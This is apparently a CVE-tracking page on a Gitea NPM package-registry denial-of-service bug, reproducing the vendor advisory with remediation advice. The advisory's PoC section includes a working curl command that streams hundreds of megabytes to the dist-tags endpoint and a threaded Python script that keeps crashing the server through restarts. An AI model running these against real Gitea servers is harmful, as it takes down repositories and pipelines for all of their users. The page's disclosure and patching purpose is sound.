Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessRegister or obtain Gitea user account
-
DeliverySend oversized PUT request to /api/packages/{user}/npm/-/package/{any}/dist-tags/{tag}
-
Exploitio.ReadAll() reads entire body into RAM with no limit
-
ExecutionGo runtime OOM allocation failure kills entire server process
-
PersistAll repository, CI/CD, and issue-tracking services become unavailable
-
ImpactRepeat concurrently to defeat auto-restart policies
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A06:2025 - Insecure Design
ASVS 5.0
V2 - Validation and Business Logic Resource allocation limits
MITRE ATT&CK
1 technique across 1 tactic: Impact The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | The Gitea package registry must be enabled - it is on by default in standard installations. The attacker must be authenticated as any registered user; write access to a package namespace is granted automatically to every user for their own namespace ( |
| Impact | The NVD CVSS vector AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H (6.5) is technically accurate but operationally understates impact. A score of 6.5 suggests a moderate, recoverable availability issue, whereas this vulnerability causes a hard process kill - a full server outage affecting all concurrent users, all repositories, and all CI/CD pipelines simultaneously. No EPSS score was provided in the input data, and this CVE is not in CISA KEV, confirming no known widespread active exploitation at time of analysis. However, a fully functional PoC is publicly documented in the GHSA advisory with video proof, requiring no exploit development skill - a single |
| Exploit ScenarioDerived | An attacker registers a free Gitea account (possible by default due to open self-registration) and sends a single HTTP PUT request to |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Jul 21, 2026
Denial of service in Gitea's NPM package registry API allows any authenticated user to crash the entire server process with a single HTTP request by exploiting an unbounded io.ReadAll() call in the AddPackageTag handler. Gitea versions up to and including v1.26.2 are confirmed vulnerable, with the fix shipped in v1.27.0. Because self-registration is enabled by default, external unauthenticated attackers can register a free account and immediately exploit this to take down all Gitea-hosted services including repositories, CI/CD pipelines, and issue tracking; a detailed proof-of-concept with video evidence is publicly available in the advisory.
RemediationAI
Upgrade to Gitea v1.27.0, the vendor-confirmed fixed release per GHSA-wwqq-x6w4-frm2 (https://github.com/go-gitea/gitea/security/advisories/GHSA-wwqq-x6w4-frm2). If immediate upgrade is not feasible, disable the entire package registry by setting [packages] ENABLED = false in the Gitea configuration - note this removes all package registry functionality (Go, PyPI, Docker, Maven, etc.), not just NPM, which may disrupt CI/CD pipelines. As a partial mitigation, disable self-registration ([service] DISABLE_REGISTRATION = true) to prevent unauthenticated external actors from obtaining exploit credentials; this does not protect against attacks by existing authenticated users. Deploying a reverse proxy such as nginx in front of Gitea with client_max_body_size set to a small limit (e.g., 10m for the dist-tag endpoint) would cap request body size at the network edge and prevent the OOM condition while preserving functionality, though this requires careful path-specific configuration to avoid blocking legitimate large package uploads on other endpoints.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 3 packages in go, euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The vulnerability resides in routers/api/packages/npm/npm.go within the AddPackageTag function, which handles HTTP PUT requests to the /-/package/{id}/dist-tags/{tag} route of Gitea's built-in NPM package registry. The root cause is CWE-770 (Allocation of Resources Without Limits or Throttling): Go's io.ReadAll() builds a dynamically growing []byte with no upper bound on allocation. When a request body exceeds available system RAM, the Go runtime's reallocation attempt fails and triggers an unrecoverable runtime.throw("out of memory") that kills the entire server process - not just the handling goroutine. Gitea's existing per-type upload limits (e.g., LIMIT_SIZE_NPM in modules/setting/packages.go) and the 32MB HashedBuffer that safely spills package uploads to disk are completely bypassed for this endpoint; AddPackageTag reads the body directly before any package lookup occurs at line 343. The affected package identifier is pkg:go/code.gitea.io/gitea.
Know when Gitea gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Network-accessible endpoint requires only a low-privilege authenticated account; single oversized request crashes the entire Go server process, yielding A:H with no confidentiality or integrity impact.
Primary rating from Vendor (https://github.com/go-gitea/gitea).
CVSS VectorVendor: https://github.com/go-gitea/gitea
DescriptionCVE.org
Summary
An unbounded io.ReadAll(ctx.Req.Body) call in the NPM package tag API endpoint allows any authenticated user to crash the Gitea server by sending a single large HTTP request. The request body is read entirely into memory with no size limit, causing an Out-of-Memory (OOM) kill. With concurrent requests, the attack produces a persistent denial of service that survives automatic restarts.
Details
The AddPackageTag function reads the entire HTTP request body into memory using io.ReadAll() with no size validation:
// routers/api/packages/npm/npm.go:332-341
func AddPackageTag(ctx *context.Context) {
packageName := packageNameFromParams(ctx)
body, err := io.ReadAll(ctx.Req.Body) // NO SIZE LIMIT
if err != nil {
apiError(ctx, http.StatusInternalServerError, err)
return
}
version := strings.Trim(string(body), "\"")
// ...
}This route is registered at routers/api/packages/api.go:433:
r.Group("/-/package/{id}/dist-tags", func() {
// ...
r.Group("/{tag}", func() {
r.Put("", npm.AddPackageTag) // reqPackageAccess(perm.AccessModeWrite)
r.Delete("", npm.DeletePackageTag)
})
})Why this causes OOM and not just a slow request:
In Go, io.ReadAll() reads into a []byte that grows dynamically. When the incoming data exceeds available memory, the Go runtime attempts to allocate a larger backing array. This allocation fails, triggering an unrecoverable runtime.throw("out of memory") that kills the entire process, not just the goroutine handling the request.
No server-side size limits apply to this endpoint:
Gitea has per-type size limits (e.g., LIMIT_SIZE_NPM) defined in modules/setting/packages.go, but these are only enforced during UploadPackage, not in AddPackageTag. The mustBytes() function defaults all limits to -1 (unlimited) when not explicitly configured:
// modules/setting/packages.go:96-101
func mustBytes(section ConfigSection, key string) int64 {
const noLimit = "-1"
value := section.Key(key).MustString(noLimit) // defaults to "-1"
if value == noLimit {
return -1
}Even if an admin sets LIMIT_SIZE_NPM, it would not protect this endpoint. AddPackageTag never checks any size limit before calling io.ReadAll().
The Gitea HTTP server has no global request body size limit. The HashedBuffer used for package uploads (which does have a 32MB memory buffer before spilling to disk) is not used for this endpoint. AddPackageTag reads the body directly via io.ReadAll(), bypassing all buffer protections:
// modules/packages/hashed_buffer.go:29-33
const DefaultMemorySize = 32 * 1024 * 1024 // 32MB, which is safe and spills to disk
// but npm.go:336 bypasses this entirely:
body, err := io.ReadAll(ctx.Req.Body) // reads everything into RAM, no limitAccess requirements:
- The route requires
reqPackageAccess(perm.AccessModeWrite) - Any user has write access to their own package namespace (
services/context/package.go:155-157):
if doer.ID == pkgOwner.ID {
accessMode = perm.AccessModeOwner
}- No NPM package needs to exist. The OOM occurs at line 336 before the package lookup at line 343:
body, err := io.ReadAll(ctx.Req.Body) // line 336; OOM happens here
// ...
pv, err := packages_model.GetVersionByNameAndVersion(...) // line 343, which is never reachedPoC
Tested Environment:
- Gitea instance (tested on v1.26.2 Docker, confirmed in source up to v1.27.0-dev)
Prerequisites: Set up test environment
# docker-compose.yml
version: "3"
services:
gitea:
image: gitea/gitea:latest
container_name: gitea-dos-test
environment:
- GITEA__database__DB_TYPE=sqlite3
- GITEA__service__DISABLE_REGISTRATION=false
ports:
- "3000:3000"
deploy:
resources:
limits:
memory: 512Mdocker compose up -d
# Complete initial setup in browser at http://localhost:3000
# Register a user account (e.g., user1 / Password123!)Step 1: Single request OOM crash
# Send ~80% of container memory to the AddPackageTag endpoint.
# The body is read entirely into memory via io.ReadAll().
# For 512MB container: count=400 (~400MB) is enough.
# For larger containers, scale accordingly (e.g., count=800 for 1GB, count=1600 for 2GB).
# The package owner in the URL must match the authenticated user's username.
dd if=/dev/zero bs=1M count=400 | curl -u "user1:Password123!" \
-X PUT \
-H "Content-Type: application/json" \
--data-binary @- \
"http://localhost:3000/api/packages/user1/npm/-/package/anything/dist-tags/latest" \
--max-time 120Step 2: Verify server crash
# Check if server responds
curl -s -o /dev/null -w "%{http_code}" http://localhost:3000/api/v1/version
# Expected: connection refused (server is dead)Step 3: Persistent DoS via concurrent requests (survives restart policies)
# Even with restart: always, concurrent attacks re-kill on startup
import threading, requests, itertools
payload = open('/tmp/p', 'rb').read() if __import__('os').path.exists('/tmp/p') else b'\x00' * (500 * 1024 * 1024)
i = itertools.count(1)
def worker():
s = requests.Session()
while True:
n = next(i)
try:
s.put(
f"http://localhost:3000/api/packages/user1/npm/-/package/pkg{n}/dist-tags/latest",
data=payload,
auth=("user1", "A@12345678"),
timeout=120
)
except Exception:
pass
for _ in range(20):
threading.Thread(target=worker, daemon=True).start()
__import__('signal').pause()One 400MB upload triggers OOM kill
https://github.com/user-attachments/assets/a7ba4566-56d5-41ba-ad9f-7e23045fa0f6
Crash loop after OOM with Docker restart policy
https://github.com/user-attachments/assets/9211649f-e10c-4b78-a1e5-223ab90d04a7
Observed result on Gitea 1.26.2:
- Server logs:
Received signal 15; terminating. - Container status:
Exited (0) - Server remains down until manual restart
- With
restart: always, server restarts but can be immediately re-killed
Impact
Who is impacted:
- All Gitea instances with the package registry enabled (enabled by default)
- Any authenticated user can crash the server (No admin privileges required)
- With self-registration enabled (default), an unauthenticated attacker can register an account and immediately crash the server
- All users of the Gitea instance lose access to repositories, CI/CD, issues, and all hosted services
Attack characteristics:
- Single request is sufficient to crash the server
- No special payload: raw zeros work (no compression tricks needed)
- Persistent multiple requests can re-kill the server even after auto-restart
- Minimal bandwidth: attacker sends ~80% of the server's available memory in a single request to crash it (e.g., ~400MB for a 512MB instance, ~1.6GB for a 2GB instance)
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Denial of Service attacks render applications or systems unavailable by overwhelming resources or triggering failure conditions.
Remote code execution in Gitea (self-hosted Git service) via a code-injection flaw (CWE-94) allows attackers to run arbi
Broken access control in Gitea's Composer package registry (versions up to and including 1.26.1) lets remote attackers r
Gitea before 1.16.7 does not escape git fetch remote. Rated high severity (CVSS 7.5), this vulnerability is remotely exp
The git hook feature in Gitea 1.1.0 through 1.12.5 might allow for authenticated remote code execution in customer envir
Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Gitea Gitea
Authenticated command injection in Dokploy (self-hostable PaaS) versions 0.29.3 through 0.29.12 lets a low-privileged us
Reverse-proxy authentication bypass in the official Gitea Docker image (versions up to and including 1.26.2) allows any
Path traversal in Gitea's Org-mode (`.org`) markup renderer allows an attacker who can get Org-mode content rendered by
Container escape in Gitea act_runner (Docker backend, through act 0.262.0) lets an authenticated user with workflow-exec
models/repo_mirror.go in Gitea before 1.7.6 and 1.8.x before 1.8-RC3 mishandles mirror repo URL settings, leading to rem
Server-side request forgery and internal repository exfiltration in Gitea before 1.27.0 lets a low-privileged authentica
Authorization bypass in Gitea versions 1.22.3 through 1.26.1 allows holders of `public-only` access tokens or OAuth gran
Same technique Denial Of Service
View allVendor StatusVendor
SUSE
Severity: Moderate| Product | Status |
|---|---|
| SUSE Linux Enterprise Server 16.1 | Affected |
| SUSE Linux Enterprise Server for SAP applications 16.1 | Affected |
EUVD-2026-58135
GHSA-wwqq-x6w4-frm2
NVD
CVE.org
EPSS
Exploit-DB